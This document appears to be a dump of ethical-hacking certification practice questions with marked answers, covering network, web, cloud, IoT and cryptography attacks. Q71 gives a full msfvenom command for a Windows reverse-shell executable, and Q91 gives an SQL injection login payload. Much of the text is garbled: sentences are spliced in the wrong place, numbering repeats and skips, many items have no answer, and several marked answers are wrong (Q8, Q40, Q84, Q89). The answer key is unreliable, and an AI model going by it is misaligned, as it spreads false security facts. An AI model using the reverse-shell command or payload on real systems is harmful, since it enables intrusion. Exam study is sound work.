

1. Robin, an attacker, is attempting to bypass the firewalls of an organization through the DNS tunneling method in order to exfiltrate data. He is using the NSTX tool for bypassing the firewalls. On which of the following ports should Robin run the NSTX tool?
 - a. **Port 53**
 - b. Port 80
 - c. Port 50
 - d. POR 23

2. Bill is a network administrator. He wants to eliminate unencrypted traffic inside his company's network. He decides to set up a SPAN port and capture all traffic to the datacenter. He immediately discovers unencrypted traffic in port UDP 161.

What protocol is this port using and how can he secure that traffic?

- a. **SNMP and he should change it to SNMP V3**
 - b. SNMP and he should change it to SNMP V2, which is encrypted
 - c. RPC and the best practice is to disable RPC completely
 - d. It is not necessary to perform any actions, as SNMP is not carrying Important information.
3. George is a security professional working for iTech Solutions. He was tasked with securely transferring sensitive data of the organization between industrial systems. In this process, he used a short-range communication protocol based on the IEEE 802.15.4 standard. This protocol is used in devices that transfer data infrequently at a low rate in a restricted area, within a range of 10-100 m. What is the short-range wireless communication technology George employed in the above scenario?
 - a. LPWAN
 - b. MQTT
 - c. **Zigbee**
 - d. NB-IoT

4. Annie, a cloud security engineer, uses the Docker architecture to employ a client server model in the application she is working on. She utilizes a component that can process API requests and handle various Docker objects, such as containers, volumes, images, and networks. What is the component of the Docker architecture used by Annie in the above scenario?

- a. Docker objects
- b. Docker client
- c. Docker registries
- d. **Docker daemon**

5. Daniel is a professional hacker who is attempting to perform an SQL injection attack on a target website, www.moviescope.com. During this process, he encountered an IDS that detects SQL injection attempts based on predefined signatures. To evade any comparison statement, he attempted placing characters such as or 1=1" in any basic 15 injection statement such as or 1=1. Identify the evasion technique used by Daniel in the above scenario.

- a, Null byte
- b, IP fragmentation
- c, **Variation**
- d, Char encoding

6. Widespread fraud at Enron. Worldcom and Tyco led to the creation of a law that was designed to improve the accuracy and accountability of corporate disclosures. It covers accounting firms and third parties that provide financial services to some organizations and came into effect in 2002 This law is known by what acronym

- a, **SOX**
- b, HIPAA
- c, PCI DSS
- d, FedRAMP

7, Samuel, a professional hacker, monitored and intercepted already established traffic between Bob and a host machine to predict Bob's ISN. Using this ISN, Samuel sent spoofed packets with Bob's IP address to the host machine. The host machine responded with a packet having an incremented ISN. Consequently, Bob's connection got hung, and Samuel was able to communicate with the host machine on behalf of Bob. What is the type of attack performed by Samuel in the above scenario?

- a, UDP hijacking
- b, **TCP/IP hijacking**
- c, Forbidden attack
- d, Blind hijacking

8, Which type of virus can change its own code and then cipher itself multiple times as it replicates?

- a, Tunneling virus
- b, **Stealth virus**
- c, Cavity Virus
- d, Encryption virus

9, John, a professional hacker performs a network attack on a renowned organization and gains unauthorized access to the target network. He remains in the network without being detected for a long time and obtains sensitive information without sabotaging the organization. Which of the following attack techniques is used by John?

- a, Insider threat
- b, **Advanced persistent threat**
- c, Diversion theft
- d, Spear phishing sites

10, You start performing a penetration test against a specific website and have decided to start from grabbing all the links from the main page. What is the best Linux pipe to achieve your milestone?

- a, `dirb https://site.com | grep "site"`
- b, `curl -s https://site.com | grep "<a href='http' | grep 'site.com' | cut-d -f2`
- c, **`wget https://site.com | grep "<a href='http | grep site.com"`**
- d, `wget https://site.com | cut-d "http|`

11, Ethical hacker Jane Doe is attempting to crack the password of the head of the IT department of ABC company. She is utilizing a rainbow table and notices upon entering a password that extra characters are added to the password after submitting. What countermeasure is the company using to protect against rainbow tables?

- a, Password key hashing
- b, Account lockout
- c, Password hashing
- d, **Password salting**

12, To invisibly maintain access to a machine, an attacker utilizes a rootkit that sits undetected in the core components of the operating system. What is this type of rootkit an example of?

- a, Hardware rootkit
- b, Firmware rootkit
- c, Kernel rootkit**
- d, Hypervisor rootkit

13, After an audit the auditors inform you that there is a critical finding that you must tackle immediately. You read the audit report and the problem is the service running on port 389. Which service is this and how can you tackle the problem?

- a, The findings do not require immediate actions and are only suggestions.
- b, The service is SMTP and you must change it to SMIME, which is an encrypted way to send emails.
- c, The service is LDAP, and you must change it to 636, which is LDAPS.**
- d, The service is NTP and you have to change it from UDP to TCP in order to encrypt it.

14, Bob, an attacker, has managed to access a target IoT device. He employed an online tool to gather information related to the model of the IoT device and the certifications granted to it. Which of the following tools did Bob employ to gather the above information?

- a, EarthExplorer
- b, search.com
- c, Google image search
- d, FCC ID search**

15, What firewall evasion scanning technique makes use of a zombie system that has low network activity as well as its fragment identification numbers?

- a, Decoy scanning
- b, Packet fragmentation scanning
- c, Spoof source address scanning
- d, Idle scanning**

16, Alice, a professional hacker, targeted an organization's cloud services. She infiltrated the target's MSP provider by sending spear-phishing emails and distributed custom-made malware to compromise user accounts and gain remote access to the cloud service. Further, she accessed the target customer profiles with her MSP account, compressed the customer data, and stored them in the MSP. Then, she used this information to launch further attacks on the target organization. Which of the following cloud attacks did Alice perform in the above scenario?

- a, Cloud hopper attack**

- b, Man-in-the-cloud (MITC) attack
- c, Cloudborne attack
- b, Cloud cryptojacking

17, Clark is a professional hacker. He created and configured multiple domains pointing to the same host to switch quickly between the domains and avoid detection. identify the behavior of the adversary in the above scenario.

- a, Use of DNS tunneling
- b, Unspecified proxy activities**
- c, Data staging
- d, Use of command-line interface

18, Alice needs to send a confidential document to her coworker, Bryan. Their company has public key infrastructure set up. Therefore, Alice both encrypts the message and digitally signs it. Alice uses _____ to encrypt the message, and Bryan uses _____ to confirm the digital signature.

- Bryan's private key, Alice's public key
- Bryan's public key, Bryan's public key
- Bryan's public key, Alice's public key**
- Alice's public key; Alice's public key

19, John, a professional hacker, decided to use DNS to perform data exfiltration on a target network. In this process, he embedded malicious data into the DNS protocol packets that even DNSSEC cannot detect. Using this technique, John successfully injected malware to bypass a firewall and maintained communication with the victim machine and C&C server. What is the technique employed by John to bypass the firewall?

- a, DNS cache snooping
- b, DNS tunneling method**
- c, DNSSEC zone walking
- d, DNS enumeration

20, Mr. Omkar performed a tool-based vulnerability assessment and found two vulnerabilities. During further analysis, he found that those issues are What will you call these issues? not true vulnerabilities.

- a, False positives**
- b, True negatives
- c, True positives
- d, False negatives

21, Infecting a system with malware and using phishing to gain credentials to a system or web application are examples of which phase of the ethical hacking methodology?

A, Gaining access

B, Reconnaissance

C, Maintaining access

D, Scanning

22, You are a penetration tester tasked with testing the wireless network of your client Brakeme SA. You are attempting to break into the wireless network with the SSID "Brakeme-Internal." You realize that this network uses WPA3 encryption. Which of the following vulnerabilities is promising to exploit?

A, AP misconfiguration

B, Cross-site request forgery

C, Key reinstallation attack

D, Dragonblood

23, Scenario: Joe turns on his home computer to access personal online banking. When he enters the URL www.bank.com, the website is displayed, but it prompts him to re-enter his credentials as if he has never visited the site before. When he examines the website URL closer, he finds that the site is not secure What type of attack he is experiencing? and the web address appears different. 18 13

A, DoS attack

B, DHCP spoofing

C, ARP cache poisoning

D, DNS hijacking

24, Kevin, a professional hacker, wants to penetrate CyberTech Inc.'s network. He employed a technique, using which he encoded packets with Unicode characters. The company's IDS cannot recognize the packets, but the target web server can decode them. What is the technique used by Kevin to evade the IDS system?

A, Desynchronization

B, Urgency flag

C, Session splicing

D, Obfuscating

25, This form of encryption algorithm is a symmetric key block cipher that is characterized by a 128-bit block size, and its key size can be up to 256 bits. Which among the following is this encryption algorithm

- A, HMAC encryption algorithm
- B, Blowfish encryption algorithm
- C, IDEA
- D, Twofish encryption algorithm**

26, company has decided to use a new customer relationship management tool. After performing the appropriate research, they decided to purchase a subscription to a cloud-hosted solution. The only administrative task that will need to perform is the management of user accounts. The provider will take care of the hardware, operating system, and software administration including patching and monitoring. Which of the following is this type of solution?

- A, IaaS
- B, CaaS
- C, SaaS**
- D, PaaS

27, John, a professional hacker, targeted an organization that uses LDAP for accessing distributed directory services. He used an automated tool to anonymously query the LDAP service for sensitive information such as usernames, addresses, departmental details, and server names to launch further attacks on the target organization. What is the tool employed by John to gather information from the LDAP service?

- A, JXplorer**
- B, Zabasearch
- C, EarthExplorer
- D, ike-scan

28, What are common files on a web server that can be misconfigured and provide useful information for a hacker such as verbose error messages?

- A, idg.dll
- B, php.ini
- C, administration.config

D, httpd.conf

29, During the enumeration phase Lawrence performs banner grabbing to obtain information such as OS details and versions enumerated runis directly on TCP port 445 of services running. Which of the following services is enumerated by Lawrence in this scenario?

- A, Network File System (NFS)
- B, Remote procedure call (RPC)
- C, Telnet
- D, Server Message Block (SMB)**

30, A friend of yours tells you that he downloaded and executed a file that was sent to him by a coworker. Since the file did nothing when executed, he asks you for help because he suspects that he may have installed a trojan on his computer.

What tests would you perform to determine whether his computer is infected?

- A, Use ExifTool and check for malicious content.
- B, Use netstat and check for outgoing connections to strange IP addresses or domains.
- C, You do not check; rather, you immediately restore a previous snapshot of the operating system.
- D, Upload the file to VirusTotal.**

31, Attacker Lauren has gained the credentials of an organization's internal server system. and she was often logging in during irregular times to monitor the network activities. The Use netstat and check for outgoing connections to the organization was skeptical about the login times and appointed security professional Robert to determine the issue. Robert analyzed compromised devices to find incident details such as the type of attack, its severity, target, impact method of propagation, and vulnerabilities exploited.

What is the incident handling and response (IH&R) phase in which Robert has determined these issues?

- A, Incident triage**
- B, Incident recording and assignment
- C, reparation
- D, Eradication

32, A penetration tester is performing the footprinting process and is reviewing publicly available information about an organization by using the Google search engine. Which of the following advanced operators would allow the pen tester to restrict the search to the organization's web domain?

- A, [link:]
- B, [location]
- C, [allinurl:]
- D, [site:]**

33, Scenario:

1. Victim opens the attacker's web site
2. Attacker sets up a web site which contains interesting and attractive content like Do you want to make \$1000 in a day?
3. Victim clicks on the interesting and attractive content URL.
4. Attacker creates a transparent iframe in front of the URL which the victim attempts to click, so the victim thinks that he/she clicks on the Do you want to make \$1000 in a day? URL but actually he/she clicks on the content iframe which is setup by the attacker What is the name of the attack which or URL that exists in the transparent is mentioned in the scenario?

- A, Session Fixation
- B, HTTP Parameter Pollution
- C, ClickJacking Attack**
- D, HTML Injection

34, Ricardo has discovered the username for an application in his target's environment. As he has a limited amount of time, he decides to attempt to use a list of common passwords he found on the Internet. He compiles them into a list and then feeds that list as an argument into his password-cracking application.

What type of attack is Ricardo performing?

- A, Dictionary**
- B, Brute force
- C, Known plaintext
- D, Password spraying

36, While testing a web application in development you notice that the web server does not properly ignore the "dot dot slash()" character string and instead returns the file listing of a folder higher up in the folder structure of the server What kind of attack is possible in this scenario?

- A, Cross-site scripting
- B, Denial of service
- C, SQL injection
- D, Directory traversal**

37, Bob was recently hired by a medical company after it experienced a major cyber security breach. Many patients are complaining that their personal medical records are fully exposed on the Internet and someone can find them with a simple Google search Bob's boss is very worried because of regulations that protect those data. Which of the following regulations is mostly violated?

- A, PII
- B, ISO 2002
- C, HIPPA/PHI**
- D, PCI DSS

38, David is a security professional working in an organization, and he is implementing a vulnerability management program in the organization to evaluate and control the risks and vulnerabilities in its IT infrastructure. He is currently executing the process of applying fixes on vulnerable systems to reduce the impact and severity of vulnerabilities. Which phase of the vulnerability-management life cycle is David currently in?

- A, Risk assessment
- B, Remediation**
- C, Vulnerability scan
- D, Verification

39, In the Common Vulnerability Scoring System (CVSS) v3.1 severity ratings, what range does medium vulnerability fall on?

- A, 4.0-6.9**
- B, 4.0-6.0
- C, 3.9-6.9
- D, 3.0-6.9

40, What is the port to block first in case you are suspicious that an lot of have been compromised?

- A, 443
- B, 80
- C, 22
- D, 48101**

40, Jason, an attacker, targeted an organization to perform an attack on its Internet-facing web server with the intention of gaining access to backend servers, which are protected by a firewall. In this process, he used a URL `https://xyz.com /feed.php?url=external site.com/feed/to` to obtain a remote feed and alter the URL input to the local host to view all the local resources on the target server. What is the type of attack Jason performed in the above scenario?

- A, Web server misconfiguration
- B, Website defacement
- C, Web cache poisoning attacks
- D, Server-side request forgery (SSRF) attack**

41, Richard, an attacker, aimed to hack IoT devices connected to a target network. In this process, Richard recorded the frequency required to share information between connected devices. After obtaining the frequency, he captured the original data when commands were initiated by the connected devices. Once the original data were collected, he used free tools such as URH to segregate the command sequence. Subsequently, he started injecting the segregated command sequence on the same frequency into the IoT network, which repeats the captured signals of the devices. What is the type of attack performed by Richard in the above scenario?

- A, Replay attack**
- B, Side-channel attack
- C, Reconnaissance attack
- D, Cryptanalysis attack

42, Don, a student, came across a gaming app in a third-party app store and installed. Subsequently, all the legitimate apps in his smartphone were it.replaced by deceptive applications that appeared legitimate. He also received many advertisements on his smartphone after installing the app. What is the attack performed on Don in the above scenario?

- A, Agent Smith attack**
- B, SMS phishing attack
- C, Clickjacking
- D, SIM card attack

43, Robin, a professional hacker, targeted an organization's network to sniff all the traffic. During this process, Robin plugged in a rogue switch to an unused port in the LAN with a priority lower than any other switch in the network so that he could make it a root bridge that will later allow him to sniff all the traffic in the network.

What is the attack performed by Robin in the above scenario?

- A, DNS poisoning attack
- B, VLAN hopping attack
- C, STP attack**
- D, RRP spoofing attack

44, Sam is working as a system administrator in an organization. He captured the principal characteristics of a vulnerability and produced a numerical score to reflect its severity using CVSS v3.0 to properly assess and prioritize the organization's vulnerability management processes. The base score that Sam obtained after performing CVSS rating was 4.0 What is the CVSS severity level of the vulnerability discovered by Sam in the above scenario?

- A, High
- B, Medium**
- C, Low
- D, Critical

45, Steven connected his iPhone to a public computer that had been infected by Clark, an attacker. After establishing the connection with the public computer. Steven enabled iTunes Wi-Fi sync on the computer so that the device could continue communication with that computer even after being physically disconnected. Now, Clark gains access to Steven's iPhone through the infected computer and is able to monitor and read all of Steven's activity on the iPhone, even after the device is out of the communication zone. Which of the following attacks is performed by Clark in the above scenario?

- A, iOS trustjacking**
- B, Exploiting SS7 vulnerability
- C, iOS jailbreaking
- D, Man-in-the-disk attack

46, Clark, a professional hacker, was hired by an organization to gather sensitive information about its competitors surreptitiously. Clark gathers the server IP address of the target organization using Whois footprinting. Further, he entered the server IP address as an input to an online tool to retrieve information such as the network range of the target organization and to identify the network topology and operating system used in the network.

What is the online tool employed by Clark in the above scenario?

A, ARIN

B, Baidu

C, DuckDuckGo

D, ACL

47, While browsing his Facebook feed. Matt sees a picture one of his friends posted with the caption, "Learn more about your friends!", as well as a number of personal questions. Matt is suspicious and texts his friend, who confirms that he did indeed post it. With assurance that the post is legitimate, Matt responds to the questions on the post. A few days later, Matt's bank account has been accessed, and the password has been changed. What most likely happened?

A, Matt inadvertently provided his password when responding to the post.

B, Matt's bank-account login information was brute forced.

C, Matt inadvertently provided the answers to his security questions when responding to the post.

D, Matt's computer was infected with a keylogger.

48, Attacker Steve targeted an organization's network with the aim of redirecting the company's web traffic to another malicious website. To achieve this goal, Steve performed DNS cache poisoning by exploiting the vulnerabilities in the DNS server software and modified the original IP address of the target website to that of a fake website.

What is the technique employed by Steve to gather information for identity theft?

A, Pharming

B, Wardriving

C, Pretexting

D, Skimming

49, You are a penetration tester working to test the user awareness of the employees of the client XYZ. You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email. Which stage of the cyber kill chain are you at?

A, Command and control

B, Exploitation

C, Weaponization

D, Reconnaissance

50, Bobby, an attacker, targeted a user and decided to hijack and intercept all their wireless communications. He installed a fake communication tower between two authentic endpoints to mislead the victim. Bobby used this virtual tower to interrupt the data transmission between the

user and real tower, attempting to hijack an active session. Upon receiving the user's request, Bobby manipulated the traffic with the virtual tower

and redirected the victim to a malicious website. What is the attack performed by Bobby in the above scenario?

A, KRACK attack

B, Jamming signal attack

C, aLTEr attack

D, Next Wardriving

51, At what stage of the cyber kill chain theory model does data exfiltration occur?

A, Actions on objectives

B, Weaponization

C, Command and control

D, Installation

52, What piece of hardware on a computer's motherboard generates encryption keys and only releases a part of the key so that decrypting a disk on a new piece of hardware is not possible?

A, UEFI

B, CPU

C, TPM

D, GPU

53, To create a botnet, the attacker can use several techniques to scan vulnerable machines. The attacker first collects information about a large number of vulnerable machines to create a list. Subsequently, they infect the machines. The list is divided by assigning half of the list to the newly compromised machines. The scanning process runs simultaneously. This technique ensures the spreading and installation of malicious code in little time.

Which technique is discussed here?

A, Subnet scanning technique

B., Topological scanning technique

C, Hit-list scanning technique

D, Permutation scanning technique

54, Sam, a professional hacker, targeted an organization with intention of compromising

AWS IAM credentials. He attempted to lure one of the employees of the organization initiating fake calls while posing as a legitimate employee. Moreover, he sent phishing emails to steal the AWS IAM credentials and further compromise the employee's account.

What is the technique used by Sam to compromise the AWS IAM credentials?

A, Insider threat

B, Social engineering

C, Reverse engineering

D, Password reuse

55, Gilbert, a web developer, uses a centralized web API to reduce complexity and increase the integrity of updating and changing data. For this purpose, he uses a web service that uses HTTP methods such as PUT, POST, GET, and DELETE and can improve the overall performance, visibility, scalability, reliability, and portability of an application. What is the type of web-service API mentioned in the above scenario?

A, SOAP API

B, RESTful API

C, JSON-RPC

D, REST API

56, Nicolas just found a vulnerability on a public-facing system that is considered a zero-day vulnerability. He sent an email to the owner of the public system describing the problem and how the owner can protect themselves from that vulnerability. He also sent an email to Microsoft informing them of the problem that their systems are exposed to. What type of hacker is Nicolas?

A, **White hat**

B, Red hat

C, Gray hat

D, Black hat

57, Which of the following commands will check for valid users in SMTP?

A, EXPN

B, CHK

C, RCPT

D, VRFY

58, A newly joined employee, Janet, has been allocated an existing system used by a previous employee. Before issuing the system to Janet, it was assessed by Martin, the administrator. Martin found that there were possibilities of compromise through user directories, registries, and other system parameters. He also identified vulnerabilities such as native configuration tables, incorrect registry or file permissions, and software configuration errors. What is the type of vulnerability assessment performed by Martin?

A, Credentialed assessment

B, Distributed assessment

C, Host-based assessment

D, Database assessment

59, John is investigating web-application firewall logs and observers that someone is attempting to inject the following:

```
char buff[10];
```

```
buff[10] = 'a';
```

What type of attack is this?

A, CSRF

B, **Buffer overflow**

C, XSS

D, SQL injection

60, Garry is a network administrator in an organization. He uses SNMP to manage networked devices from a remote location. To manage nodes in the network, he uses MIB, which contains formal descriptions of all network objects managed by SNMP. He accesses the contents of MIB by using a web browser either by retrieving information from an MIB that contains object types for workstations and server services. entering the IP address and Lseries.mib or by entering the DNS library name and Lseries.mib. He is currently retrieving information from an MIB that contains object type for workstations

Which of the following types of MIB is accessed by Garry in the above scenario?

A, MIB ILMIB

B, WINS.MIB

C, DHCP MIB

D, **LNMB2 MIB**

61, An organization is performing a vulnerability assessment for mitigating threats. James, a

pen tester, scanned the organization by building an inventory of the protocols found on the organization's machines to detect which ports are attached to services such as an email server, a web server, or a database server. After identifying the services, he selected the vulnerabilities on each machine test. and started executing only the relevant

What is the type of vulnerability assessment solution that James employed in the above scenario?

Product-based solutions

Tree-based assessment

Service-based solutions

Inference-based assessment

62, Taylor, a security professional, uses a tool to monitor her company's website, website's traffic, and track the geographical location of the users visiting the company's website. Which of the following tools did Taylor employ in the above scenario?

A, WebSite-Watcher

B, Web-Stat

C, WAFWOOF

D, Webroot

63, Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target network. Which of the following host discovery techniques must he use to perform the given task?

A, ARP ping scan

B, UDP Scan

C, ACK flag probe scan

D, TCP Maimon scan

64, What is the common name for a vulnerability disclosure program opened by companies in platforms such as HackerOne?

A, White-hat hacking program

B, Vulnerability hunting program

C, Ethical hacking program

D, Bug bounty program

65, Boney, a professional hacker, targets an organization for financial benefits. He performs an attack by sending his session ID using an MITM attack technique. Boney first obtains a valid session ID by logging into a service and later feeds the same session ID to the target employee. The session ID links the target employee to Boney's account page without disclosing any information to the victim. When the target employee clicks on the link, all the sensitive payment details entered in a form are linked to Boney's account. What is the attack performed by Boney in the above scenario?

A, Session donation attack

B, Session fixation attack

C, forbidden attack

D, CRIME attack

66, Henry is a cyber security specialist hired by BlackEye - Cyber Security Solutions. He was tasked with discovering the operating system (OS) of a host. He used the Unicornscan tool to discover the OS of the target system. As a result, he obtained a TTL value, which indicates that the target system is running a Windows OS. Identify the TTL value Henry obtained, which indicates that the target OS is Windows.

- A, **128**
- B, 255
- C, 64
- D, 138

67, By performing a penetration test, you gained access under a user account. During the test, you established a connection with your own machine via the SMB service and occasionally entered your login and password in plaintext. Which file do you have to clean to clear the password?

- A, profile
- B, xsession-log**
- C, bash history
- D, bashrc

68, A DDoS attack is performed at layer 7 to take down web infrastructure. Partial HTTP requests are sent to the web infrastructure or applications. Upon receiving a partial request, the target servers opens multiple requests to complete. Which attack is being described here? connections and keeps waiting for the

- A, Phlashing
- B, Slowloris attack**
- C, Desynchronization
- D, Session splicing

69, What is the first step for a hacker conducting a DNS cache poisoning (DNS spoofing) attack against an organization?

- A, The attacker uses TCP to poison the DNS resolver.
- B, The attacker makes a request to the DNS resolver.
- C, The attacker forges a reply from the DNS resolver.
- D, The attacker queries a nameserver using the DNS resolver.**

70, John, a disgruntled ex-employee of an organization, contacted a professional hacker to exploit the organization. In the attack process, the professional hacker installed a scanner on a machine belonging to one of the victims and scanned several machines on the same network to identify vulnerabilities to perform further exploitation. What is the type of vulnerability assessment tool employed by John in the above scenario?

- Agent-based scanner**
- Network-based scanner
- Proxy scanner
- Cluster scanner

71, What is the correct way of using MSFvenom to generate a reverse TCP shellcode for Windows?

- A, mstvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c
- B, msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c
- C, **msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe**
- D, msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

72, Attacker Rony installed a rogue access point within an organization's perimeter and attempted to intrude into its internal network. Johnson, a security auditor, identified some unusual traffic in the internal network that is aimed at cracking the authentication mechanism. He immediately turned off the targeted network and tested for any weak and outdated security mechanisms that are open to attack. What is the type of vulnerability assessment performed by Johnson in the above scenario?

- A, Application assessment
- B, **Wireless network assessment**
- C, Distributed assessment
- D, Host-based assessment

73, Bella, a security professional working at an IT firm, finds that a security breach has occurred while transferring important files. Sensitive data, employee usernames, and passwords are shared in plaintext, paving the way for hackers to perform successful session hijacking. To address this situation, Bella implemented a protocol that sends data using encryption and digital certificates. Which of the following protocols is used by Bella?

- A, HTTPS
- B, IP
- C, **FTPS**
- D, FTP

74, Gerard, a disgruntled ex-employee of Sunglass IT Solutions, targets this organization to perform sophisticated attacks and bring down its reputation in the market. To launch the attacks process, he performed DNS footprinting to gather information about DNS servers and to identify the hosts connected in the target network. He used an automated tool that can retrieve information about DNS zone data including DNS domain names, computer names, IP addresses, DNS records, and network Whois records. He further exploited this information to launch other sophisticated attacks. What is the tool employed by Gerard in the above scenario?

- A, Towelroot
- B, Knative
- C, **Bluto**

D, ZANTI

75, In order to tailor your tests during a web-application scan, you decide to determine which the web-server version is hosting the application. On using the sV flag with Nmap, you obtain the following response:

80/tcp open http-proxy Apache Server 7.1.6

What information-gathering technique does this best describe?

A, Banner grabbing

B, Brute forcing

C, Dictionary attack

D, WHOIS lookup

76, Security administrator John Smith has noticed abnormal amounts of traffic coming from local computers at night. Upon reviewing, he finds that user data have been exfiltrated by an attacker. AV tools are unable to find any malicious software, and the IDS/IPS has not reported on any non-whitelisted programs. What type of malware did the attacker use to bypass the company's application whitelisting?

A, File-less malware

B, Phishing malware

C, Logic bomb malware

D, Zero-day malware

77, Emily, an extrovert obsessed with social media, posts a large amount of private information, photographs, and location tags of recently visited places. Realizing this, James, a professional hacker, targets Emily and her acquaintances, conducts a location search to detect their geolocation by using an automated tool, and gathers information to perform other sophisticated attacks. What is the tool employed by James in the above scenario?

A, Hootsuite

B, VisualRoute

C, HULK

D, ophcrack

78, Which of the following bluetooth hacking techniques refers to the theft of information from a wireless device through bluetooth?

A, Bluesmacking

B, Bluebugging

C, Bluejacking

D, Bluesnarfing

79, Techno Security Inc. recently hired John as a penetration tester. He was tasked with identifying open ports in the target network and determining whether the ports are online 2 and any firewall rule sets are encountered. John decided to perform a TCP SYN ping scan on the target network.

Which of the following Nmap commands must John use to perform the TCP SYN ping scan?

- A, nmap -sn -PP < target IP address >
- B, nmap -sn-PO < target IP address >
- C, nmap -sn-PS< target IP address >**
- D, nmap -sn-PA < target IP address >

80, Which file is a rich target to discover the structure of a website during web-server footprinting.

- A, Index.html
- B, robots.txt**
- C, domain.txt
- D, document root

81, Judy created a forum. One day, she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images:

```
<script> document.write(');  
  
</script>
```

What issue occurred for the users who clicked on the image?

- A, This php file silently executes the code and grabs the user's session cookie and session ID.**
- B, The code is a virus that is attempting to gather the user's username and password.
- C, The code injects a new cookie to the browser.
- D, The code redirects the user to another site.

82, An attacker redirects the victim to malicious websites by sending them a malicious link, by email. The link appears authentic but redirects the victim to a malicious web page, which allows the attacker to steal the victim's data. What type of attack is this?

- A, Spoofing
- B, Vishing
- C, DDoS
- D, Phishing**

83, Joe works as an IT administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service he reached out to a telecom company for providing Internet connectivity and transport services between the organization and the cloud service provider. In the NIST cloud deployment reference architecture, under which category does the telecom company fall in the above scenario?

- A, Cloud broker
- B, Cloud auditor
- C, Cloud consumer
- D, Cloud carrier**

84, Johnson, an attacker, performed online research for the contact details of reputed

cybersecurity firms. He found the contact number of sibertech.org and dialed the number, claiming himself to represent a technical support team from a vendor. He warned that a specific server is about to be compromised and requested sibertech.org to follow the provided instructions. Consequently, he prompted the victim to execute unusual commands and install malicious files, which were then used to collect and pass critical information to Johnson's machine. What is the social engineering technique Steve employed in the above scenario?

- A, Phishing
- B, Quid pro quo
- C, Elicitation**
- D, Diversion theft

85, Jane, an ethical hacker, is testing a target organization's web server and website to identify security loopholes. In this process, she copied the entire website and its content on a local drive to view the complete profile of the site's directory structure, file structure, external links, images, web pages, and so on. This information helps Jane map the website's directories and gain valuable information. What is the attack technique employed by Jane in the above scenario?

- A, Website defacement
- B, Web cache poisoning
- C, Session hijacking
- D, Website mirroring**

86, Allen, a professional pen tester, was hired by XpertTech Solutions to perform an attack simulation on the organization's network resources. To perform the attack, he took advantage of the NetBIOS API and targeted the NetBIOS service. By enumerating NetBIOS, he found that port 139 was open and could see the resources that could be accessed or viewed on a remote system. He came across many NetBIOS codes during enumeration. Identify the NetBIOS code used for obtaining the messenger service running for the logged-in user?

- A, <20>
- B, <1B>
- C, <00>
- D, <03>**

87, Abel, a security professional, conducts penetration testing in his client organization to check for any security loopholes. He launched an attack on the DHCP servers by broadcasting forged DHCP requests and leased all the DHCP addresses available in the DHCP scope until the server could not issue any more IP addresses. This led to a DoS attack, and as a result, legitimate employees were unable to access the client's network. Which of the following attacks did Abel perform in the above scenario?

- A, DHCP starvation**
- B, VLAN hopping
- C, Rogue DHCP server attack
- D, STP attack

88, What is the file that determines the basic configuration (Specifically activities, services, broadcast receivers, etc..) in an Android application?

- A, resources.asrc
- B, classes.dex
- C, Androidmanifest.xml**
- D, APK.info

89, Which of the following protocols can be used to secure an LDAP service against anonymous queries?

- A, RADIUS**
- B, SSO
- C, NTLM
- D, WPA

90, When analyzing the IDS logs, the system administrator noticed an alert was logged when the external router was accessed from the administrator's Computer to update the router configuration. What type of an alert is this?

A, False negative

B, True negative

C, False positive

D, True positive

91, Suppose that you test an application for the SQL injection vulnerability. You know that the backend database is based on Microsoft SQL Server. In the login/password form. you enter the following credentials:

Username: attack' or 1=1 --

Password: 123456

Based on the above credentials, which of the following SQL commands are you expecting to be executed by the server, if there is indeed an SQL injection vulnerability?

A, **select * from Users where UserName = 'attack' or 1=1--' and UserPassword='123456'**

B, select from Users where UserName = 'attack or 1=1 - and UserPassword = '123456

C, select from Users where UserName = 'attack or 1=1 -- and UserPassword = '123456"

D, select from Users where UserName = 'attack" or 1=1 -- and UserPassword = '123456"

92, Jane invites her friends Alice and John over for a LAN party. Alice and John access Jane's wireless network without a password. However, Jane has a long, complex password on her router. What attack has likely occurred?

A, **Evil twin**

B, Wardriving

C, Piggybacking

D, Wireless sniffing

93, The network users are complaining because their systems are slowing down. Further every time they attempt to go to a website, they receive a series of pop-ups with advertisements. What type of malware have the systems been infected with?

A, Spyware

B, Spyware

C, Virus

D, Adware

94, Ralph, a professional hacker, targeted Jane, who had recently bought new systems for her company. After a few days, Ralph contacted Jane while masquerading as a legitimate customer

support executive, informing that her systems need to be serviced for proper functioning and that customer support will send a computer technician. Jane promptly replied positively. Ralph entered Jane's company using this opportunity and gathered sensitive information by scanning terminals for passwords, searching for important documents in desks, and rummaging bins. What is the type of attack technique Ralph used on Jane?

- A, Shoulder surfing
- B, Impersonation
- C, Eavesdropping
- D, **Dumpster diving**

95, Susan, a software developer, wants her web API to update other applications with the latest information. For this purpose, she uses a user-defined HTTP callback or push APIs that are raised based on trigger events; when invoked, this feature supplies data to other applications so that users can instantly receive real-time information. Which of the following techniques is employed by Susan?

- A, Web shells
- B, SOAP API
- C, **Webhooks**
- D, REST API

96, If you send a TCP ACK segment to a known closed port on a firewall but it does not respond with an RST, what do you know about the firewall you are scanning?

- A, This event does not tell you anything about the firewall.
- B, There is no firewall in place.
- C, It is a non-stateful firewall.
- D, **It is a stateful firewall.**

97, There are multiple cloud deployment options depending on how isolated a customer's resources are from those of other customers. Shared environments share the costs and allow each customer to enjoy lower operations expenses. One solution is for a customer to join with a group of users or organizations to share a cloud environment. What is this cloud deployment option called?

- A, Public
- B, Private
- C, Hybrid
- D, **Community**

98, In this form of encryption algorithm, every individual block contains 64-bit data, and three keys are used, where each key consists of 56 bits. Which is this encryption algorithm?

- A, IDEA
- B, MD5 encryption algorithm
- C, Triple Data Encryption Standard**
- D, AES

99, Larry, a security professional in an organization, has noticed some abnormalities in the user accounts on a web server. To thwart evolving attacks, he decided to harden the security of the web server by adopting a few countermeasures to secure the accounts on the web server.

Which of the following countermeasures must Larry implement to secure the user accounts on the web server?

- A, Limit the administrator or root-level access to the minimum number of users**
- B, Enable unused default user accounts created during the installation of an OS
- C, Enable all non-interactive accounts that should exist but do not require interactive login
- D, Retain all unused modules and application extensions

